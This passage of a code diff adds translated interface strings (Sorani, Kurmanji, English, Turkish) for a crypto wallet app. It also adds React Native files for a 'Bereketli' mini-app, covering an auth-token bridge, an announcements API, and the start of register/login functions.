"nominationPools": "حەوزەکانی ناوزەدکردن",
|
||||||
|
"totalStaked": "کۆی ستەیک کراو",
|
||||||
|
"monthlyReward": "پاداشتی مانگانە",
|
||||||
|
"estimatedAPY": "APY خەمڵێنراو",
|
||||||
|
"stake": "ستەیک بکە",
|
||||||
|
"unstake": "لە ستەیک دەربچە",
|
||||||
|
"claimRewards": "پاداشت وەربگرە",
|
||||||
|
"selectValidators": "ڤاڵیدەیتەر ھەڵبژێرە",
|
||||||
|
"joinPool": "بەشداری حەوز بکە",
|
||||||
|
"bondMore": "زیاتر گرێبدە",
|
||||||
|
"unbondingPeriod": "تۆکنە کراوەکان بۆ ~٢٨ ڕۆژ قوفڵ دەکرێن"
|
||||||
|
},
|
||||||
|
"governance": {
|
||||||
|
"title": "حوکمڕانی",
|
||||||
|
"active": "چالاک",
|
||||||
|
"past": "پێشوو",
|
||||||
|
"all": "ھەموو",
|
||||||
|
"noReferenda": "ڕیفراندۆم نەدۆزرایەوە",
|
||||||
|
"voteAye": "بەڵێ",
|
||||||
|
"voteNay": "نەخێر",
|
||||||
|
"conviction": "بڕوا (ژمارەی قوفڵ)",
|
||||||
|
"tapToVote": "بۆ دەنگدان لێی بدە",
|
||||||
|
"support": "پشتگیری"
|
||||||
|
},
|
||||||
|
"apps": {
|
||||||
|
"title": "ئەپڵیکەیشنەکان",
|
||||||
|
"searchApps": "لە ئەپەکاندا بگەڕێ...",
|
||||||
|
"connectWallet": "جزدان پەیوەست بکە",
|
||||||
|
"submitApp": "ئەپەکەت بنێرە"
|
||||||
|
},
|
||||||
|
"auth": {
|
||||||
|
"signIn": "چوونەژوورەوە",
|
||||||
|
"signUp": "تۆمارکردن",
|
||||||
|
"email": "ئیمەیڵ",
|
||||||
|
"password": "وشەی نھێنی",
|
||||||
|
"forgotPassword": "وشەی نھێنیت لەبیر چوو؟",
|
||||||
|
"noAccount": "ھەژمارت نییە؟",
|
||||||
|
"hasAccount": "ھەژمارت ھەیە؟"
|
||||||
|
},
|
||||||
|
"profile": {
|
||||||
|
"title": "پرۆفایل",
|
||||||
|
"editProfile": "پرۆفایل بگۆڕە",
|
||||||
|
"settings": "ڕێکخستنەکان",
|
||||||
|
"security": "ئاسایش",
|
||||||
|
"language": "زمان",
|
||||||
|
"signOut": "چوونەدەرەوە"
|
||||||
|
},
|
||||||
|
"dapp": {
|
||||||
|
"title": "گەڕۆکی DApp",
|
||||||
|
"searchOrEnter": "بگەڕێ یان URL بنووسە...",
|
||||||
|
"connected": "پەیوەست",
|
||||||
|
"noWallet": "جزدان پەیوەست نییە",
|
||||||
|
"connectionRequest": "داواکاری پەیوەستبوون",
|
||||||
|
"signRequest": "داواکاری واژووکردن",
|
||||||
|
"approve": "پەیوەست بکە",
|
||||||
|
"reject": "ڕەتکردنەوە"
|
||||||
|
},
|
||||||
|
"notifications": {
|
||||||
|
"transactionSent": "مامەڵە نێردرا",
|
||||||
|
"transactionReceived": "مامەڵە وەرگیرا"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
{
|
||||||
|
"common": {
|
||||||
|
"loading": "Loading...",
|
||||||
|
"error": "Error",
|
||||||
|
"success": "Success",
|
||||||
|
"cancel": "Cancel",
|
||||||
|
"confirm": "Confirm",
|
||||||
|
"save": "Save",
|
||||||
|
"delete": "Delete",
|
||||||
|
"close": "Close",
|
||||||
|
"retry": "Retry",
|
||||||
|
"send": "Send",
|
||||||
|
"receive": "Receive",
|
||||||
|
"copy": "Copy",
|
||||||
|
"share": "Share",
|
||||||
|
"search": "Search",
|
||||||
|
"settings": "Settings",
|
||||||
|
"back": "Back",
|
||||||
|
"next": "Next",
|
||||||
|
"done": "Done",
|
||||||
|
"comingSoon": "Coming Soon",
|
||||||
|
"noData": "No data available"
|
||||||
|
},
|
||||||
|
"wallet": {
|
||||||
|
"title": "Wallet",
|
||||||
|
"balance": "Balance",
|
||||||
|
"send": "Send",
|
||||||
|
"receive": "Receive",
|
||||||
|
"swap": "Swap",
|
||||||
|
"backup": "Backup",
|
||||||
|
"tokens": "Tokens",
|
||||||
|
"activity": "Activity",
|
||||||
|
"noTransactions": "No transactions yet",
|
||||||
|
"scanAddress": "Scan Address",
|
||||||
|
"selectNetwork": "Select Network",
|
||||||
|
"myWallets": "My Wallets",
|
||||||
|
"addWallet": "Add New Wallet",
|
||||||
|
"createWallet": "Create Wallet",
|
||||||
|
"importWallet": "Import Wallet",
|
||||||
|
"deleteWallet": "Delete Wallet",
|
||||||
|
"renameWallet": "Rename Wallet",
|
||||||
|
"backupMnemonic": "Backup Recovery Phrase",
|
||||||
|
"backupWarning": "NEVER share this with anyone! Write it down and store safely.",
|
||||||
|
"recipientAddress": "Recipient Address",
|
||||||
|
"amount": "Amount",
|
||||||
|
"estimatedFee": "Estimated Fee",
|
||||||
|
"total": "Total (incl. fee)",
|
||||||
|
"insufficientBalance": "Insufficient balance",
|
||||||
|
"transactionFinalized": "Transaction finalized!",
|
||||||
|
"copied": "Address copied to clipboard"
|
||||||
|
},
|
||||||
|
"staking": {
|
||||||
|
"title": "Staking",
|
||||||
|
"directStaking": "Direct Staking",
|
||||||
|
"nominationPools": "Nomination Pools",
|
||||||
|
"totalStaked": "Total Staked",
|
||||||
|
"monthlyReward": "Monthly Reward",
|
||||||
|
"estimatedAPY": "Est. APY",
|
||||||
|
"stake": "Stake",
|
||||||
|
"unstake": "Unstake",
|
||||||
|
"claimRewards": "Claim Rewards",
|
||||||
|
"selectValidators": "Select Validators",
|
||||||
|
"joinPool": "Join Pool",
|
||||||
|
"bondMore": "Bond More",
|
||||||
|
"unbondingPeriod": "Unbonded tokens will be locked for ~28 days"
|
||||||
|
},
|
||||||
|
"governance": {
|
||||||
|
"title": "Governance",
|
||||||
|
"active": "Active",
|
||||||
|
"past": "Past",
|
||||||
|
"all": "All",
|
||||||
|
"noReferenda": "No referenda found",
|
||||||
|
"voteAye": "Aye",
|
||||||
|
"voteNay": "Nay",
|
||||||
|
"conviction": "Conviction (lock multiplier)",
|
||||||
|
"tapToVote": "Tap to vote",
|
||||||
|
"support": "Support"
|
||||||
|
},
|
||||||
|
"apps": {
|
||||||
|
"title": "Apps",
|
||||||
|
"searchApps": "Search apps...",
|
||||||
|
"connectWallet": "Connect Wallet",
|
||||||
|
"submitApp": "Submit Your App"
|
||||||
|
},
|
||||||
|
"auth": {
|
||||||
|
"signIn": "Sign In",
|
||||||
|
"signUp": "Sign Up",
|
||||||
|
"email": "Email",
|
||||||
|
"password": "Password",
|
||||||
|
"forgotPassword": "Forgot Password?",
|
||||||
|
"noAccount": "Don't have an account?",
|
||||||
|
"hasAccount": "Already have an account?"
|
||||||
|
},
|
||||||
|
"profile": {
|
||||||
|
"title": "Profile",
|
||||||
|
"editProfile": "Edit Profile",
|
||||||
|
"settings": "Settings",
|
||||||
|
"security": "Security",
|
||||||
|
"language": "Language",
|
||||||
|
"signOut": "Sign Out"
|
||||||
|
},
|
||||||
|
"dapp": {
|
||||||
|
"title": "DApp Browser",
|
||||||
|
"searchOrEnter": "Search or enter URL...",
|
||||||
|
"connected": "Connected",
|
||||||
|
"noWallet": "No wallet connected - dApps won't work",
|
||||||
|
"connectionRequest": "Connection Request",
|
||||||
|
"signRequest": "Sign Request",
|
||||||
|
"approve": "Connect",
|
||||||
|
"reject": "Reject"
|
||||||
|
},
|
||||||
|
"notifications": {
|
||||||
|
"transactionSent": "Transaction Sent",
|
||||||
|
"transactionReceived": "Transaction Received"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
{
|
||||||
|
"common": {
|
||||||
|
"loading": "Loading...",
|
||||||
|
"error": "Error",
|
||||||
|
"success": "Success",
|
||||||
|
"cancel": "Cancel",
|
||||||
|
"confirm": "Confirm",
|
||||||
|
"save": "Save",
|
||||||
|
"delete": "Delete",
|
||||||
|
"close": "Close",
|
||||||
|
"retry": "Retry",
|
||||||
|
"send": "Send",
|
||||||
|
"receive": "Receive",
|
||||||
|
"copy": "Copy",
|
||||||
|
"share": "Share",
|
||||||
|
"search": "Search",
|
||||||
|
"settings": "Settings",
|
||||||
|
"back": "Back",
|
||||||
|
"next": "Next",
|
||||||
|
"done": "Done",
|
||||||
|
"comingSoon": "Coming Soon",
|
||||||
|
"noData": "No data available"
|
||||||
|
},
|
||||||
|
"wallet": {
|
||||||
|
"title": "Wallet",
|
||||||
|
"balance": "Balance",
|
||||||
|
"send": "Send",
|
||||||
|
"receive": "Receive",
|
||||||
|
"swap": "Swap",
|
||||||
|
"backup": "Backup",
|
||||||
|
"tokens": "Tokens",
|
||||||
|
"activity": "Activity",
|
||||||
|
"noTransactions": "No transactions yet",
|
||||||
|
"scanAddress": "Scan Address",
|
||||||
|
"selectNetwork": "Select Network",
|
||||||
|
"myWallets": "My Wallets",
|
||||||
|
"addWallet": "Add New Wallet",
|
||||||
|
"createWallet": "Create Wallet",
|
||||||
|
"importWallet": "Import Wallet",
|
||||||
|
"deleteWallet": "Delete Wallet",
|
||||||
|
"renameWallet": "Rename Wallet",
|
||||||
|
"backupMnemonic": "Backup Recovery Phrase",
|
||||||
|
"backupWarning": "NEVER share this with anyone! Write it down and store safely.",
|
||||||
|
"recipientAddress": "Recipient Address",
|
||||||
|
"amount": "Amount",
|
||||||
|
"estimatedFee": "Estimated Fee",
|
||||||
|
"total": "Total (incl. fee)",
|
||||||
|
"insufficientBalance": "Insufficient balance",
|
||||||
|
"transactionFinalized": "Transaction finalized!",
|
||||||
|
"copied": "Address copied to clipboard"
|
||||||
|
},
|
||||||
|
"staking": {
|
||||||
|
"title": "Staking",
|
||||||
|
"directStaking": "Direct Staking",
|
||||||
|
"nominationPools": "Nomination Pools",
|
||||||
|
"totalStaked": "Total Staked",
|
||||||
|
"monthlyReward": "Monthly Reward",
|
||||||
|
"estimatedAPY": "Est. APY",
|
||||||
|
"stake": "Stake",
|
||||||
|
"unstake": "Unstake",
|
||||||
|
"claimRewards": "Claim Rewards",
|
||||||
|
"selectValidators": "Select Validators",
|
||||||
|
"joinPool": "Join Pool",
|
||||||
|
"bondMore": "Bond More",
|
||||||
|
"unbondingPeriod": "Unbonded tokens will be locked for ~28 days"
|
||||||
|
},
|
||||||
|
"governance": {
|
||||||
|
"title": "Governance",
|
||||||
|
"active": "Active",
|
||||||
|
"past": "Past",
|
||||||
|
"all": "All",
|
||||||
|
"noReferenda": "No referenda found",
|
||||||
|
"voteAye": "Aye",
|
||||||
|
"voteNay": "Nay",
|
||||||
|
"conviction": "Conviction (lock multiplier)",
|
||||||
|
"tapToVote": "Tap to vote",
|
||||||
|
"support": "Support"
|
||||||
|
},
|
||||||
|
"apps": {
|
||||||
|
"title": "Apps",
|
||||||
|
"searchApps": "Search apps...",
|
||||||
|
"connectWallet": "Connect Wallet",
|
||||||
|
"submitApp": "Submit Your App"
|
||||||
|
},
|
||||||
|
"auth": {
|
||||||
|
"signIn": "Sign In",
|
||||||
|
"signUp": "Sign Up",
|
||||||
|
"email": "Email",
|
||||||
|
"password": "Password",
|
||||||
|
"forgotPassword": "Forgot Password?",
|
||||||
|
"noAccount": "Don't have an account?",
|
||||||
|
"hasAccount": "Already have an account?"
|
||||||
|
},
|
||||||
|
"profile": {
|
||||||
|
"title": "Profile",
|
||||||
|
"editProfile": "Edit Profile",
|
||||||
|
"settings": "Settings",
|
||||||
|
"security": "Security",
|
||||||
|
"language": "Language",
|
||||||
|
"signOut": "Sign Out"
|
||||||
|
},
|
||||||
|
"dapp": {
|
||||||
|
"title": "DApp Browser",
|
||||||
|
"searchOrEnter": "Search or enter URL...",
|
||||||
|
"connected": "Connected",
|
||||||
|
"noWallet": "No wallet connected - dApps won't work",
|
||||||
|
"connectionRequest": "Connection Request",
|
||||||
|
"signRequest": "Sign Request",
|
||||||
|
"approve": "Connect",
|
||||||
|
"reject": "Reject"
|
||||||
|
},
|
||||||
|
"notifications": {
|
||||||
|
"transactionSent": "Transaction Sent",
|
||||||
|
"transactionReceived": "Transaction Received"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
{
|
||||||
|
"common": {
|
||||||
|
"loading": "Tê barkirin...",
|
||||||
|
"error": "Çewtî",
|
||||||
|
"success": "Serkeftî",
|
||||||
|
"cancel": "Dev jê berde",
|
||||||
|
"confirm": "Bipejirîne",
|
||||||
|
"save": "Tomar bike",
|
||||||
|
"delete": "Jê bibe",
|
||||||
|
"close": "Bigire",
|
||||||
|
"retry": "Dîsa biceribîne",
|
||||||
|
"send": "Bişîne",
|
||||||
|
"receive": "Werbigire",
|
||||||
|
"copy": "Kopî bike",
|
||||||
|
"share": "Parve bike",
|
||||||
|
"search": "Bigere",
|
||||||
|
"settings": "Mîheng",
|
||||||
|
"back": "Paşve",
|
||||||
|
"next": "Pêşve",
|
||||||
|
"done": "Temam",
|
||||||
|
"comingSoon": "Di demekê de tê",
|
||||||
|
"noData": "Agahî tune"
|
||||||
|
},
|
||||||
|
"wallet": {
|
||||||
|
"title": "Cîzdan",
|
||||||
|
"balance": "Hevseng",
|
||||||
|
"send": "Bişîne",
|
||||||
|
"receive": "Werbigire",
|
||||||
|
"swap": "Biguherîne",
|
||||||
|
"backup": "Paşveger",
|
||||||
|
"tokens": "Token",
|
||||||
|
"activity": "Çalakî",
|
||||||
|
"noTransactions": "Hêj veguheztin tune",
|
||||||
|
"scanAddress": "Navnîşanê bişkîne",
|
||||||
|
"selectNetwork": "Torê hilbijêre",
|
||||||
|
"myWallets": "Cîzdanên min",
|
||||||
|
"addWallet": "Cîzdaneke nû zêde bike",
|
||||||
|
"createWallet": "Cîzdan biafirîne",
|
||||||
|
"importWallet": "Cîzdan bîne",
|
||||||
|
"deleteWallet": "Cîzdan jê bibe",
|
||||||
|
"renameWallet": "Navê cîzdanê biguherîne",
|
||||||
|
"backupMnemonic": "Peyva vegerandinê paşve bigire",
|
||||||
|
"backupWarning": "QET bi kesî re parve neke! Binivîse û bi ewlehî hilîne.",
|
||||||
|
"recipientAddress": "Navnîşana wergir",
|
||||||
|
"amount": "Mîqdar",
|
||||||
|
"estimatedFee": "Bihayê texmînkirî",
|
||||||
|
"total": "Giştî (bi bihayê re)",
|
||||||
|
"insufficientBalance": "Hevseng bes nîne",
|
||||||
|
"transactionFinalized": "Veguheztin qediya!",
|
||||||
|
"copied": "Navnîşan hat kopîkirin"
|
||||||
|
},
|
||||||
|
"staking": {
|
||||||
|
"title": "Staking",
|
||||||
|
"directStaking": "Stakinga rasterast",
|
||||||
|
"nominationPools": "Hovzên kandîdatiyê",
|
||||||
|
"totalStaked": "Giştî hatiye staking kirin",
|
||||||
|
"monthlyReward": "Xelata mehane",
|
||||||
|
"estimatedAPY": "APY texmînkirî",
|
||||||
|
"stake": "Stake bike",
|
||||||
|
"unstake": "Ji stakingê vekişîne",
|
||||||
|
"claimRewards": "Xelatan bistîne",
|
||||||
|
"selectValidators": "Validator hilbijêre",
|
||||||
|
"joinPool": "Beşdarî hovzê bibe",
|
||||||
|
"bondMore": "Zêdetir girêbide",
|
||||||
|
"unbondingPeriod": "Tokenên vekirî dê ~28 roj bên kilîtkirin"
|
||||||
|
},
|
||||||
|
"governance": {
|
||||||
|
"title": "Rêveberî",
|
||||||
|
"active": "Çalak",
|
||||||
|
"past": "Berê",
|
||||||
|
"all": "Hemû",
|
||||||
|
"noReferenda": "Referandum nehat dîtin",
|
||||||
|
"voteAye": "Erê",
|
||||||
|
"voteNay": "Na",
|
||||||
|
"conviction": "Bawerî (hejmara kilidê)",
|
||||||
|
"tapToVote": "Ji bo dengdanê pê bixe",
|
||||||
|
"support": "Piştgirî"
|
||||||
|
},
|
||||||
|
"apps": {
|
||||||
|
"title": "Serlêdan",
|
||||||
|
"searchApps": "Serlêdanan bigere...",
|
||||||
|
"connectWallet": "Cîzdanê girêbide",
|
||||||
|
"submitApp": "Serlêdana xwe bişîne"
|
||||||
|
},
|
||||||
|
"auth": {
|
||||||
|
"signIn": "Têkeve",
|
||||||
|
"signUp": "Tomar bibe",
|
||||||
|
"email": "E-name",
|
||||||
|
"password": "Şîfre",
|
||||||
|
"forgotPassword": "Şîfre ji bîr kir?",
|
||||||
|
"noAccount": "Hesabê te tune?",
|
||||||
|
"hasAccount": "Hesabê te heye?"
|
||||||
|
},
|
||||||
|
"profile": {
|
||||||
|
"title": "Profîl",
|
||||||
|
"editProfile": "Profîlê biguherîne",
|
||||||
|
"settings": "Mîheng",
|
||||||
|
"security": "Ewlehî",
|
||||||
|
"language": "Ziman",
|
||||||
|
"signOut": "Derkeve"
|
||||||
|
},
|
||||||
|
"dapp": {
|
||||||
|
"title": "Gerokê DApp",
|
||||||
|
"searchOrEnter": "Bigere an URL binivîse...",
|
||||||
|
"connected": "Girêdayî",
|
||||||
|
"noWallet": "Cîzdan girêdayî nîne - DApp'ên naxebitin",
|
||||||
|
"connectionRequest": "Daxwaza girêdanê",
|
||||||
|
"signRequest": "Daxwaza îmzekirinê",
|
||||||
|
"approve": "Girêbide",
|
||||||
|
"reject": "Red bike"
|
||||||
|
},
|
||||||
|
"notifications": {
|
||||||
|
"transactionSent": "Veguheztin hat şandin",
|
||||||
|
"transactionReceived": "Veguheztin hat wergirtin"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
{
|
||||||
|
"common": {
|
||||||
|
"loading": "Yükleniyor...",
|
||||||
|
"error": "Hata",
|
||||||
|
"success": "Başarılı",
|
||||||
|
"cancel": "İptal",
|
||||||
|
"confirm": "Onayla",
|
||||||
|
"save": "Kaydet",
|
||||||
|
"delete": "Sil",
|
||||||
|
"close": "Kapat",
|
||||||
|
"retry": "Tekrar dene",
|
||||||
|
"send": "Gönder",
|
||||||
|
"receive": "Al",
|
||||||
|
"copy": "Kopyala",
|
||||||
|
"share": "Paylaş",
|
||||||
|
"search": "Ara",
|
||||||
|
"settings": "Ayarlar",
|
||||||
|
"back": "Geri",
|
||||||
|
"next": "İleri",
|
||||||
|
"done": "Tamam",
|
||||||
|
"comingSoon": "Yakında",
|
||||||
|
"noData": "Veri bulunamadı"
|
||||||
|
},
|
||||||
|
"wallet": {
|
||||||
|
"title": "Cüzdan",
|
||||||
|
"balance": "Bakiye",
|
||||||
|
"send": "Gönder",
|
||||||
|
"receive": "Al",
|
||||||
|
"swap": "Takas",
|
||||||
|
"backup": "Yedekle",
|
||||||
|
"tokens": "Tokenler",
|
||||||
|
"activity": "Aktivite",
|
||||||
|
"noTransactions": "Henüz işlem yok",
|
||||||
|
"scanAddress": "Adres Tara",
|
||||||
|
"selectNetwork": "Ağ Seç",
|
||||||
|
"myWallets": "Cüzdanlarım",
|
||||||
|
"addWallet": "Yeni Cüzdan Ekle",
|
||||||
|
"createWallet": "Cüzdan Oluştur",
|
||||||
|
"importWallet": "Cüzdan İçe Aktar",
|
||||||
|
"deleteWallet": "Cüzdan Sil",
|
||||||
|
"renameWallet": "Cüzdan Adını Değiştir",
|
||||||
|
"backupMnemonic": "Kurtarma İfadesini Yedekle",
|
||||||
|
"backupWarning": "KİMSEYLE paylaşma! Yaz ve güvenli bir yerde sakla.",
|
||||||
|
"recipientAddress": "Alıcı Adresi",
|
||||||
|
"amount": "Miktar",
|
||||||
|
"estimatedFee": "Tahmini Ücret",
|
||||||
|
"total": "Toplam (ücret dahil)",
|
||||||
|
"insufficientBalance": "Yetersiz bakiye",
|
||||||
|
"transactionFinalized": "İşlem tamamlandı!",
|
||||||
|
"copied": "Adres panoya kopyalandı"
|
||||||
|
},
|
||||||
|
"staking": {
|
||||||
|
"title": "Staking",
|
||||||
|
"directStaking": "Doğrudan Staking",
|
||||||
|
"nominationPools": "Aday Havuzları",
|
||||||
|
"totalStaked": "Toplam Stake",
|
||||||
|
"monthlyReward": "Aylık Ödül",
|
||||||
|
"estimatedAPY": "Tahmini APY",
|
||||||
|
"stake": "Stake Et",
|
||||||
|
"unstake": "Stake'den Çıkar",
|
||||||
|
"claimRewards": "Ödülleri Al",
|
||||||
|
"selectValidators": "Doğrulayıcı Seç",
|
||||||
|
"joinPool": "Havuza Katıl",
|
||||||
|
"bondMore": "Daha Fazla Bağla",
|
||||||
|
"unbondingPeriod": "Çözülen tokenler ~28 gün kilitli kalacak"
|
||||||
|
},
|
||||||
|
"governance": {
|
||||||
|
"title": "Yönetişim",
|
||||||
|
"active": "Aktif",
|
||||||
|
"past": "Geçmiş",
|
||||||
|
"all": "Tümü",
|
||||||
|
"noReferenda": "Referandum bulunamadı",
|
||||||
|
"voteAye": "Evet",
|
||||||
|
"voteNay": "Hayır",
|
||||||
|
"conviction": "Kanaat (kilit çarpanı)",
|
||||||
|
"tapToVote": "Oy vermek için dokunun",
|
||||||
|
"support": "Destek"
|
||||||
|
},
|
||||||
|
"apps": {
|
||||||
|
"title": "Uygulamalar",
|
||||||
|
"searchApps": "Uygulama ara...",
|
||||||
|
"connectWallet": "Cüzdan Bağla",
|
||||||
|
"submitApp": "Uygulamanı Gönder"
|
||||||
|
},
|
||||||
|
"auth": {
|
||||||
|
"signIn": "Giriş Yap",
|
||||||
|
"signUp": "Kayıt Ol",
|
||||||
|
"email": "E-posta",
|
||||||
|
"password": "Şifre",
|
||||||
|
"forgotPassword": "Şifremi unuttum?",
|
||||||
|
"noAccount": "Hesabın yok mu?",
|
||||||
|
"hasAccount": "Zaten hesabın var mı?"
|
||||||
|
},
|
||||||
|
"profile": {
|
||||||
|
"title": "Profil",
|
||||||
|
"editProfile": "Profili Düzenle",
|
||||||
|
"settings": "Ayarlar",
|
||||||
|
"security": "Güvenlik",
|
||||||
|
"language": "Dil",
|
||||||
|
"signOut": "Çıkış Yap"
|
||||||
|
},
|
||||||
|
"dapp": {
|
||||||
|
"title": "DApp Tarayıcı",
|
||||||
|
"searchOrEnter": "Ara veya URL gir...",
|
||||||
|
"connected": "Bağlı",
|
||||||
|
"noWallet": "Cüzdan bağlı değil",
|
||||||
|
"connectionRequest": "Bağlantı İsteği",
|
||||||
|
"signRequest": "İmza İsteği",
|
||||||
|
"approve": "Bağlan",
|
||||||
|
"reject": "Reddet"
|
||||||
|
},
|
||||||
|
"notifications": {
|
||||||
|
"transactionSent": "İşlem Gönderildi",
|
||||||
|
"transactionReceived": "İşlem Alındı"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,128 @@
|
|||||||
|
/**
|
||||||
|
* BereketliApp - Entry point for Bereketli mini-app
|
||||||
|
*
|
||||||
|
* This wraps the Bereketli navigation with its own providers (Zustand stores, i18n)
|
||||||
|
* while sharing the parent app's auth context.
|
||||||
|
*/
|
||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
import { View, Text, StyleSheet, ActivityIndicator } from 'react-native';
|
||||||
|
import { NavigationContainer, NavigationIndependentTree } from '@react-navigation/native';
|
||||||
|
import { useAuth } from '../../contexts/AuthContext';
|
||||||
|
import { supabase } from '../../lib/supabase';
|
||||||
|
import { colors } from './theme';
|
||||||
|
|
||||||
|
// Bereketli's own auth store
|
||||||
|
import { useAuthStore } from './store/authStore';
|
||||||
|
// Bereketli API client
|
||||||
|
import apiClient from './api/client';
|
||||||
|
|
||||||
|
// Bereketli navigation (5 tab navigator)
|
||||||
|
import MainTabNavigator from './navigation/MainTabNavigator';
|
||||||
|
|
||||||
|
const BereketliApp: React.FC = () => {
|
||||||
|
const { user } = useAuth();
|
||||||
|
const [isReady, setIsReady] = useState(false);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
|
||||||
|
const setBereketliAuth = useAuthStore(state => state.setAuth);
|
||||||
|
|
||||||
|
// Bridge: Exchange pwap Supabase token for Bereketli token
|
||||||
|
useEffect(() => {
|
||||||
|
const bridgeAuth = async () => {
|
||||||
|
if (!user) {
|
||||||
|
setError('Please log in to use Bereketli');
|
||||||
|
setIsReady(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
// Get current Supabase session
|
||||||
|
const { data: { session } } = await supabase.auth.getSession();
|
||||||
|
if (!session?.access_token) {
|
||||||
|
setError('Session expired. Please log in again.');
|
||||||
|
setIsReady(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const response = await apiClient.post('/auth/exchange', {
|
||||||
|
supabase_token: session.access_token,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (response.data?.access_token) {
|
||||||
|
setBereketliAuth({
|
||||||
|
accessToken: response.data.access_token,
|
||||||
|
refreshToken: response.data.refresh_token,
|
||||||
|
user: response.data.user,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
setIsReady(true);
|
||||||
|
} catch (e) {
|
||||||
|
if (__DEV__) console.error('[Bereketli] Auth bridge failed:', e);
|
||||||
|
setError('Failed to connect to Bereketli. Please try again.');
|
||||||
|
setIsReady(true);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
bridgeAuth();
|
||||||
|
}, [user, setBereketliAuth]);
|
||||||
|
|
||||||
|
if (!isReady) {
|
||||||
|
return (
|
||||||
|
<View style={styles.loading}>
|
||||||
|
<ActivityIndicator size="large" color={colors.primary} />
|
||||||
|
<Text style={styles.loadingText}>Loading Bereketli...</Text>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (error) {
|
||||||
|
return (
|
||||||
|
<View style={styles.error}>
|
||||||
|
<Text style={styles.errorIcon}>!</Text>
|
||||||
|
<Text style={styles.errorText}>{error}</Text>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<NavigationIndependentTree>
|
||||||
|
<NavigationContainer>
|
||||||
|
<MainTabNavigator />
|
||||||
|
</NavigationContainer>
|
||||||
|
</NavigationIndependentTree>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
loading: {
|
||||||
|
flex: 1,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
},
|
||||||
|
loadingText: {
|
||||||
|
marginTop: 12,
|
||||||
|
fontSize: 15,
|
||||||
|
color: '#888',
|
||||||
|
},
|
||||||
|
error: {
|
||||||
|
flex: 1,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
padding: 32,
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
},
|
||||||
|
errorIcon: {
|
||||||
|
fontSize: 48,
|
||||||
|
color: '#DC2626',
|
||||||
|
marginBottom: 16,
|
||||||
|
},
|
||||||
|
errorText: {
|
||||||
|
fontSize: 16,
|
||||||
|
color: '#666',
|
||||||
|
textAlign: 'center',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
export default BereketliApp;
|
||||||
@@ -0,0 +1,61 @@
|
|||||||
|
import client from './client';
|
||||||
|
import i18n from '../i18n';
|
||||||
|
|
||||||
|
interface RawAnnouncement {
|
||||||
|
id: string;
|
||||||
|
title: string;
|
||||||
|
content: string | null;
|
||||||
|
image_url: string | null;
|
||||||
|
link_url: string | null;
|
||||||
|
link_label: string | null;
|
||||||
|
announcement_type: string;
|
||||||
|
priority: number;
|
||||||
|
sponsor_store_id: string | null;
|
||||||
|
created_at: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Announcement {
|
||||||
|
id: string;
|
||||||
|
title: string;
|
||||||
|
content: string | null;
|
||||||
|
image_url: string | null;
|
||||||
|
link_url: string | null;
|
||||||
|
link_label: string | null;
|
||||||
|
announcement_type: string;
|
||||||
|
priority: number;
|
||||||
|
sponsor_store_id: string | null;
|
||||||
|
created_at: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Parse a field that may be a JSON object with language keys or a plain string */
|
||||||
|
function localizeField(value: string | null, fallback: string = ''): string {
|
||||||
|
if (!value) return fallback;
|
||||||
|
try {
|
||||||
|
const parsed = JSON.parse(value);
|
||||||
|
if (typeof parsed === 'object' && parsed !== null) {
|
||||||
|
const lang = i18n.language;
|
||||||
|
return parsed[lang] || parsed.tr || parsed.en || fallback;
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
} catch {
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getAnnouncements(): Promise<Announcement[]> {
|
||||||
|
const {data} = await client.get<RawAnnouncement[]>('/announcements');
|
||||||
|
return data.map(a => ({
|
||||||
|
...a,
|
||||||
|
title: localizeField(a.title, a.title),
|
||||||
|
content: localizeField(a.content),
|
||||||
|
link_label: localizeField(a.link_label),
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function trackView(id: string): Promise<void> {
|
||||||
|
await client.post(`/announcements/${id}/view`);
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function trackClick(id: string): Promise<void> {
|
||||||
|
await client.post(`/announcements/${id}/click`);
|
||||||
|
}
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
import client, {saveTokens} from './client';
|
||||||
|
import type {AuthResponse, User} from '../types/models';
|
||||||
|
|
||||||
|
export async function register(
|
||||||
|
name: string,
|
||||||
|
email: string,
|
||||||
|
password: string,
|
||||||
|
phone?: string,
|
||||||
|
referral_code?: string,
|
||||||
|
): Promise<AuthResponse> {
|
||||||
|
const body: Record<string, string> = {name, email, password};
|
||||||
|
if (phone) body.phone = phone;
|
||||||
|
if (referral_code) body.referral_code = referral_code;
|
||||||
|
const {data} = await client.post<AuthResponse>('/auth/register', body);
|
||||||
|
await saveTokens(data.access_token, data.refresh_token);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function login(
|
